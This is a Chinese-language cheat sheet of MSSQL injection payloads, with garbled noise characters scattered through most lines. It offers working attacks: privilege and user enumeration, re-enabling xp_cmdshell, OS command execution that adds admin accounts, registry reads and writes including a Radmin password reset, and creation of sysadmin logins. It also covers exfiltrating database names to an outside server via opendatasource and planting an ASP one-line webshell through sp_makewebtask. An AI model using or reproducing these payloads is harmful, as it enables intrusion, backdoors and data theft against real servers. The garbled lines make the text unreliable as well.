//看看是什么权限的
4 t9 h. Z% Q! q; g' [7 i% w3 kand 1=(Select IS_MEMBER('db_owner'))
/ n9 A$ q" ?: {9 ^# \- vAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) U7 i6 w, T' o0 K" Y/ z9 k
: H% V& R5 s* }//检测是否有读取某数据库的权限3 o2 H+ |. M' n
and 1= (Select HAS_DBACCESS('master'))5 t: R* H2 R) w) [1 a
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --% Z* \7 R- E9 O
. T4 @6 h. \% t
# I2 g2 W/ x, y* }! ]% m
数字类型 O$ p6 w/ Y* }# u) a
and char(124)%2Buser%2Bchar(124)=0
- \4 L, N' e8 _. |' X" l: k U9 c! G: v& a; P: m- C# E
字符类型
- |# n1 T2 M# u: \' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 W& f: E: n5 p" U, z
2 k% j8 p2 \1 B# E2 e* w8 \搜索类型
* I# H5 |) C6 `* T0 w( G* @' and char(124)%2Buser%2Bchar(124)=0 and '%'='
# r; O+ i# z e/ \+ R4 u! ?
$ Z$ v2 A5 c0 S' S/ y- n爆用户名
6 L) U0 e) Y3 band user>0
: q+ N/ d8 `2 Z" }, L' and user>0 and ''='3 J% s% J$ u3 ~& p q' M
9 }: r+ f3 I8 n# b& Y0 y. E( a; X8 V检测是否为SA权限
6 h3 D6 `0 M" k* Sand 1=(select IS_SRVROLEMEMBER('sysadmin'));--5 r. M7 n* @/ L
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
- J9 I- n9 ^$ C) g# `
6 l% ^0 k a& Q% Y, _# j5 `$ ?* N* p检测是不是MSSQL数据库
! L3 {. ]; _0 ^% p& h0 _and exists (select * from sysobjects);--& K6 u% g! B0 z2 \8 m% j7 Y1 H
' ?& v7 q! ~' {0 R( q& H
检测是否支持多行& m0 x: Z+ r, G, A) a5 }1 K
;declare @d int;--
6 O4 v0 E+ U- V
" s2 _+ T5 V) o2 j% F恢复 xp_cmdshell9 t. }. o, v% B4 }2 O
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--% F" g" U3 e0 l% [7 B. e2 r
. B9 n* D; {: U2 u
% y# ^. l5 B( \5 U( b1 M+ ]' Qselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
. q0 t+ ~/ _, H* n( M+ |( z' f1 [( t1 s" W; r! N7 p |, J
//-----------------------9 c7 K) F9 y$ A
// 执行命令( H, p* c/ p5 m
//-----------------------
5 ?$ i2 |& U- y& { o/ i1 _ m3 {首先开启沙盘模式:1 D3 Y: o6 c4 e4 V0 M9 T
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# }* N- u7 P1 a# l b, ?' l9 d- l$ R s. I: I* G- s5 K4 b% q z
然后利用jet.oledb执行系统命令
: r% W* I. h u: mselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ Y, A2 M; A" z8 e
0 g* F* |( ?# i; m, L* d
执行命令' W) b- g3 u/ b* A. e( A
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--9 K; v- K' ?; F# S) L7 }5 ~
( M( {& `, y9 n% `2 p: ]
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'; Z, S% A1 m7 K' k# E
0 S+ n% h: G0 Q% N4 X( e( n8 \# o
判断xp_cmdshell扩展存储过程是否存在:. K4 K7 g5 q F" a% q! m
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
* p% R5 z, J1 q
2 a, m& h, L* k" R. ^写注册表; S' e0 b: l w& h, |$ G2 e( s
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',19 b8 S# D, @8 h8 V* _
; { k! ?' V5 Z: P- T+ n6 @
REG_SZ
( @$ t, y; _' e+ u: w
7 N7 g5 H3 a) m8 T% J读注册表
- e4 T& U* V, L( zexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'' ^) M! ]8 [' A9 w5 C
$ D6 l8 X# e; A$ P
读取目录内容
$ j: ?9 m/ V! E5 U: s) texec master..xp_dirtree 'c:\winnt\system32\',1,15 j3 k* }6 h7 V* ]0 @
0 N3 Q) u% I5 q' R
, D, k+ a: u: Q: C- |- J* J, k数据库备份
7 g8 \$ ` b, e8 \5 j3 N2 N* \backup database pubs to disk = 'c:\123.bak'
8 x( |6 I$ [, p* }' A9 p' \1 G0 n# f4 X
//爆出长度
2 e7 N! \& T4 s9 L) cAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
( K7 y, x- v% N7 [+ ?) R; h; A. H( D- [; E+ U( t7 W0 o
! h( |! F5 ]! Z2 K; D$ G- Y
4 l, |3 X# T& z* z
更改sa口令方法:用sql综合利用工具连接后,执行命令:
7 R( T0 U9 A7 R; @exec sp_password NULL,'新密码','sa'6 K/ V( y) ]" ] V; z& t
' I! L5 I& D6 M) s% Y# N' U添加和删除一个SA权限的用户test:& F2 }% |4 g( D( n, a& C
exec master.dbo.sp_addlogin test,9530772& ^" O; A3 x/ l$ W
exec master.dbo.sp_addsrvrolemember test,sysadmin) Z4 n! @' i/ J$ T
' L9 W7 t6 v. g+ |" u" k删除扩展存储过过程xp_cmdshell的语句:
5 O# K5 h- P: F5 S9 P) x9 v2 V# hexec sp_dropextendedproc 'xp_cmdshell'7 O% e+ a/ x0 Y9 Q
7 v! o U$ R1 S8 ?/ \5 `$ S
添加扩展存储过过程
9 i7 {+ m4 I# ~: VEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'4 ~, k7 y- O2 \$ |! _ ~
GRANT exec On xp_proxiedadata TO public
z7 [ o. D% ^' z
( q3 h* l2 f5 w' v, k- h% R; O0 ?1 L% H2 Z3 d" H6 R! h
停掉或激活某个服务。+ B' E; F: ]$ T7 |7 D9 E) A, r8 t
* }- C7 b9 y: L; w" d
exec master..xp_servicecontrol 'stop','schedule'; e/ U0 u& ^* ?5 g, b. s% |
exec master..xp_servicecontrol 'start','schedule'+ A1 T8 d- T3 Y7 k" a. P! ^
, W1 m' x8 `( L4 q; u3 H" W1 |
dbo.xp_subdirs
, S/ ^3 T( m+ q: k: W6 H+ Z9 k3 p: Y" T1 y
只列某个目录下的子目录。
- \' x8 ^3 P! X; Y% Y& H8 Kxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', Z. G7 b! w6 a F# V
' Q' i, h& t0 _5 _3 G, ]% Qdbo.xp_makecab
8 U6 X8 W' A$ j! q6 H1 l( k8 L8 G& @, f3 _7 ^# z
将目标多个档案压缩到某个目标档案之内。
- _4 e& ^" E6 Q6 |/ t所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。2 i! g1 O+ j) w0 S7 R$ n0 b
& o' u% O, @) |% S, f
dbo.xp_makecab
0 C, o# l; p. E% O0 i'c:\test.cab','mszip',1,
& N- y" q+ s+ h/ [, t4 Z0 j'C:\Inetpub\wwwroot\SQLInject\login.asp',
* g, x5 L! Y2 a'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'! T! y w, c" Y
) U. d* L9 Q% [ k1 qxp_terminate_process& y% V; v; R( e8 q8 n8 ?
% y, Z7 U8 q$ R% ?1 F# h8 j2 v2 c% p) I停掉某个执行中的程序,但赋予的参数是 Process ID。
; @ |% s/ w4 u/ z2 U& Y8 m9 R利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID& {- ~/ e* T: m, y4 N8 Q
2 [+ e# z% m! J1 |" [0 }
xp_terminate_process 2484
5 R0 J* F- u/ ^0 }, D/ [
! N. z; D2 z. L2 g+ x7 Gxp_unpackcab
/ Q2 f a2 u! U O$ @" ~( d" W
$ V0 x/ H% B0 v! N2 [% f$ z0 i+ _9 \! Y解开压缩档。
1 [0 A; V, f" v# b' E0 w; q* I7 q0 k" l0 O2 @0 c8 T/ n
xp_unpackcab 'c:\test.cab','c:\temp',1
+ M3 e! r0 T/ m
& w! z' ^# n- _: \7 B
) F) r6 ^6 c6 m某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234: I+ r+ T! j4 x
; C4 `! i& J) X* l; @1 bcreate database lcx;9 G/ N5 i( m! F7 S0 h
Create TABLE ku(name nvarchar(256) null);
, ], E. W& E: ~" y, y; J) uCreate TABLE biao(id int NULL,name nvarchar(256) null);' V# x r% b6 s
7 C4 `+ Z! G9 w2 g) [% ~
//得到数据库名8 t% X2 _8 L" L
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
$ w) }3 `! n/ B9 L$ x8 p& y9 y' | z/ v' d! ~
" ~' F% T+ s* }$ T1 N! X$ ]//在Master中创建表,看看权限怎样
9 y+ Q0 P/ T0 ^9 T! V& h. O! zCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--4 h" C1 S/ D+ q* c
- [( @. [5 }7 J2 O* q4 \用 sp_makewebtask直接在web目录里写入一句话马:+ t. \. t5 D4 K1 w
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
- t7 J( F: }: o5 _
: }9 G/ J7 H6 q, \: y//更新表内容
9 F" j7 }- C2 y" e) ZUpdate films SET kind = 'Dramatic' Where id = 123/ [' T/ u4 B0 b/ v. h! o) ]9 ^
5 w$ ~( q" Y; b4 ]( k
//删除内容, v2 ~8 I: }# L" W) R* j
delete from table_name where Stockid = 3 |